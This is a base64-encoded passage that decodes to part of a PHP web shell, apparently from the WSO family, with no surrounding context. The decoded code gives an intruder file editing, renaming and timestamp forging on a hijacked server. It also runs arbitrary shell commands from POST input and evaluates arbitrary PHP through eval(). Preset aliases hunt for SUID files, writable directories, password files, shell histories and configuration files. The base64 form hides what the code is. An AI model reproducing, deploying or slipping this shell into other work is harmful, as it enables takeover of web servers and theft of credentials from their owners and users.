cHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkcGVybXMgPSAwOwoJCQkJZm9yKCRpPXN0cmxlbigk
X1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkKCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3Az
J11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOwoJCQkJaWYoIUBjaG1v
ZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9u
cyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwoJCQkJZWxz
ZQoJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7
CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlz
LmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2Qg
dmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00
KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJ
Y2FzZSAnZWRpdCc6CgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgewoJCQkJZWNo
byAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsKCQkJCWJyZWFrOwoJCQl9CgkJCWlmKCAhZW1wdHko
JF9QT1NUWydwMyddKSApIHsKCQkJCUBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ3AxJ10sJF9Q
T1NUWydwMyddKTsKCQkJCWVjaG8gJ1NhdmVkITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZh
bHVlPSIiOzwvc2NyaXB0Pic7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxu
dWxsLG51bGwsbnVsbCx0aGlzLnRleHQudmFsdWUpO3JldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBu
YW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOwoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAn
cicpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApCgkJCQkJZWNobyBodG1s
c3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJ
CQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4n
OwoJCQlicmVhazsKCQljYXNlICdoZXhkdW1wJzoKCQkJJGMgPSBAZmlsZV9nZXRfY29udGVudHMo
JF9QT1NUWydwMSddKTsKCQkJJG4gPSAwOwoJCQkkaCA9IGFycmF5KCcwMDAwMDAwMDxicj4nLCcn
LCcnKTsKCQkJJGxlbiA9IHN0cmxlbigkYyk7CgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkg
ewoJCQkJJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsKCQkJCXN3aXRj
aCAoIG9yZCgkY1skaV0pICkgewoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJ
CQkJY2FzZSA5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDEwOiAkaFsyXSAuPSAn
ICc7IGJyZWFrOwoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJZGVmYXVs
dDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKCQkJCX0KCQkJCSRuKys7CgkJCQlpZiAoJG4gPT0g
MzIpIHsKCQkJCQkkbiA9IDA7CgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50
ZignJTA4WCcsJGkrMSkuJzxicj4nO30KCQkJCQkkaFsxXSAuPSAnPGJyPic7CgkJCQkJJGhbMl0g
Lj0gIlxuIjsKCQkJCX0KCQkgCX0KCQkJZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBh
ZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5
bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3Rk
Pjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9y
PSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+
PC90YWJsZT4nOwoJCQlicmVhazsKCQljYXNlICdyZW5hbWUnOgoJCQlpZiggIWVtcHR5KCRfUE9T
VFsncDMnXSkgKSB7CgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkp
CgkJCQkJZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1
ZT0iIjs8L3NjcmlwdD4nOwoJCQkJZWxzZQoJCQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwi
Jy51cmxlbmNvZGUoJF9QT1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOwoJCQl9CgkJ
CWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZh
bHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5o
dG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl
PSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ3RvdWNoJzoKCQkJaWYoICFlbXB0eSgk
X1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKCQkJ
CWlmKCR0aW1lKSB7CgkJCQkJaWYoQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCgkJ
CQkJCWRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJ
CQkJZWxzZSB7CgkJCQkJCWVjaG8gJ0ZhaWwhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0i
Ijs8L3NjcmlwdD4nOwoJCQkJCX0KCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhPHNj
cmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwoJCQl9CgkJCWVjaG8gJzxm
b3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0
dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlkt
bS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJt
aXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnbWtmaWxlJzoKCQkJCgkJ
CWJyZWFrOwoJfQoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gRmlsZSB0b29s
cyBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBDb25zb2xlIGdvIC0tLS0tLS0tLS0tLS0t
LS0tLS0tCmlmKCRvcyA9PSAnd2luJykKCSRhbGlhc2VzID0gYXJyYXkoCgkJIkxpc3QgRGlyZWN0
b3J5IiA9PiAiZGlyIiwKICAgIAkiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJk
aXIgL3MgL3cgL2IgaW5kZXgucGhwIiwKICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVu
dCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwKICAgIAkiU2hvdyBhY3RpdmUg
Y29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiAgICAJIlNob3cgcnVubmluZyBzZXJ2aWNl
cyIgPT4gIm5ldCBzdGFydCIsCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiAg
ICAJIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLAoJCSJBUlAgVGFibGUiID0+ICJhcnAg
LWEiLAoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKCSk7CmVsc2UKCSRh
bGlhc2VzID0gYXJyYXkoCiAgCQkiTGlzdCBkaXIiID0+ICJscyAtbGEiLAoJCSJsaXN0IGZpbGUg
YXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxz
YXR0ciAtdmEiLAogIAkJInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVw
IC1pIGxpc3RlbiIsCgkJInByb2Nlc3Mgc3RhdHVzIiA9PiAicHMgYXV4IiwKCQkiRmluZCIgPT4g
IiIsCiAgCQkiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0w
NDAwMCAtbHMiLAogIAkJImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg
LiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+
ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAJCSJmaW5kIHNnaWQgZmlsZXMg
aW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAJ
CSJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29u
ZmlnLmluYy5waHAiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBm
IC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBk
aXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgCQkiZmluZCBhbGwg
d3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwKICAJ
CSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4g
ImZpbmQgLiAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9
PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogIAkJImZpbmQgc2VydmljZS5w
d2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNl
LnB3ZCIsCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYg
LW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRp
ciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgCQkiZmluZCBhbGwgLmJh
c2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3Rvcnki
LAogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg
LiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogIAkJImZpbmQgYWxsIC5mZXRjaG1haWxy
YyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiAgCQkiZmlu
ZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAt
bmFtZSAuZmV0Y2htYWlscmMiLAoJCSJMb2NhdGUiID0+ICIiLAogIAkJImxvY2F0ZSBodHRwZC5j
b25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLAoJCSJsb2NhdGUgdmhvc3RzLmNvbmYg
ZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLAoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZp
bGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsCgkJImxvY2F0ZSBwc3libmMuY29uZiBmaWxl
cyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsCgkJImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAi
bG9jYXRlIG15LmNvbmYiLAoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRt
aW4ucGhwIiwKCQkibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsCgkJ
ImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsCgkJImxvY2F0ZSBj
b25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLAoJCSJsb2NhdGUgY29uZmln
LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMg
ZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIg
PT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCgkJImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAg
ZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwKCQkibG9jYXRlIGNvbmZpZyog
ZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2Nh
dGUgJy5jb25mJyIsCgkJImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsCgkJ
ImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsCgkJImxvY2F0ZSAuaHRwYXNz
d2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLAoJCSJsb2NhdGUgLmJhc2hfaGlzdG9y
eSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLAoJCSJsb2NhdGUgLm15c3FsX2hp
c3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAuZmV0
Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLAoJCSJsb2NhdGUgYmFj
a3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsCgkJImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAi
bG9jYXRlIGR1bXAiLAoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgoJKTsK
CQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYg
IWVtcHR5KCRfUE9TVFsncDInXSkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydI
VFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXSA9IHRydWU7CiAgICAgICAgJF9QT1NUWydwMSdd
IC49ICcgMj4mMSc7CiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAk
X1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXSA9IDA7
CgkJCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVS
WydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CgkJb2Jfc3RhcnQoKTsKCQllY2hvICJkb2N1
bWVudC5jZi5jbWQudmFsdWU9Jyc7XG4iOwoJCSR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNl
dCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9Q
T1NUWydwMSddKSwiXG5cclx0XCdcMCIpKTsKCQlpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtd
KykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpCXsKCQkJaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsK
CQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKCQkJCWVjaG8gImRvY3VtZW50Lm1mLmMu
dmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CgkJCX0KCQl9CgkJZWNobyAiZG9jdW1lbnQu
Y2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOwoJCWVjaG8gImRvY3VtZW50LmNmLm91dHB1
dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CgkJJHRlbXAg
PSBvYl9nZXRfY2xlYW4oKTsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4
aXQ7Cgl9CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJ
CSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gMDsKCXByaW50
SGVhZGVyKCk7CmVjaG8gIjxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVF
dmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsKdmFyIGN1ciA9
IDA7CmZ1bmN0aW9uIGtwKGUpIHsKCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDog
ZS5rZXlDb2RlOwoJaWYobiA9PSAzOCkgewoJCWN1ci0tOwoJCWlmKGN1cj49MCkKCQkJZG9jdW1l
bnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyKys7Cgl9IGVsc2UgaWYo
biA9PSA0MCkgewoJCWN1cisrOwoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQoJCQlkb2N1bWVudC5j
Zi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXItLTsKCX0KfQpmdW5jdGlvbiBh
ZGQoY21kKSB7CgljbWRzLnBvcCgpOwoJY21kcy5wdXNoKGNtZCk7CgljbWRzLnB1c2goJycpOwoJ
Y3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4iOwoJZWNobyAnPGgxPkNvbnNvbGU8L2gx
PjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkb2N1bWVudC5j
Zi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZG9j
dW1lbnQuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUp
O2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNo
b3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1
ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxl
Y3QgbmFtZT1hbGlhcz4nOwoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2
KSB7CgkJaWYoJHYgPT0gJycpIHsKCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3Bl
Y2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOwoJCQljb250aW51ZTsKCQl9CgkJZWNobyAn
PG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4n
OwoJfQoJCgllY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGRv
Y3VtZW50LmNmLmFsaWFzLnZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2EobnVs
bCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlLGRvY3VtZW50LmNmLnNob3dfZXJyb3JzLmNo
ZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSxk
b2N1bWVudC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5v
YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTltt
ZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1
c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAn
LighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NU
J10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiByZWRpcmVjdCBzdGRlcnIgdG8g
c3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0
cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOwoJaWYoIWVt
cHR5KCRfUE9TVFsncDEnXSkpIHsKCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1Rb
J3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKCX0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxl
IHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JvcmRl
ci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+
PHRkIHN0eWxlPSJwYWRkaW5nLWxlZnQ6NHB4OyB3aWR0aDoxM3B4OyI+JDwvdGQ+PHRkPjxpbnB1
dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5
ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsKCWVjaG8gJzwvZm9ybT48L2Rp
dj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7CglwcmludEZvb3Rl
cigpOwp9Ci8vIENvbnNvbGUgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vIFBIUCAtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7CglpZiggaXNzZXQoJF9QT1NU
WydhamF4J10pICkgewoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWph
eCddID0gdHJ1ZTsKCQlvYl9zdGFydCgpOwoJCWV2YWwoJF9QT1NUWydwMSddKTsKCQkkdGVtcCA9
ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztk
b2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFz
aGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xu
IjsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7IAoJfQoJcHJpbnRI
ZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2lu
Zm8nKSApIHsKCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJ
CW9iX3N0YXJ0KCk7CgkJcGhwaW5mbygpOwoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKCQkkdG1w
ID0gcHJlZ19yZXBsYWNlKCchYm9keSB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVn
X3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxh
Y2UoJyFoMSFtc2lVJywnaDInLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGgg
eyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKCQkkdG1wID0gcHJl
Z19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsKCQll
Y2hvICR0bXA7CgkJZWNobyAnPC9kaXY+PGJyPic7Cgl9CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgn
XSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBf
SE9TVCddKS4nYWpheCddID0gZmFsc2U7CgkJZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwv
aDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9
ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNl
e2cobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRh
cmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsn
cDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5w
dXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7CgllY2hv
ICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21k
NSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVz
aW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsn
cDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsK
CWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsn
cDEnXSk7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKCX0KCWVjaG8g
JzwvcHJlPjwvZGl2Pic7CglwcmludEZvb3RlcigpOwp9Ci8vIFBIUCBlbmQgLS0tLS0tLS0tLS0t
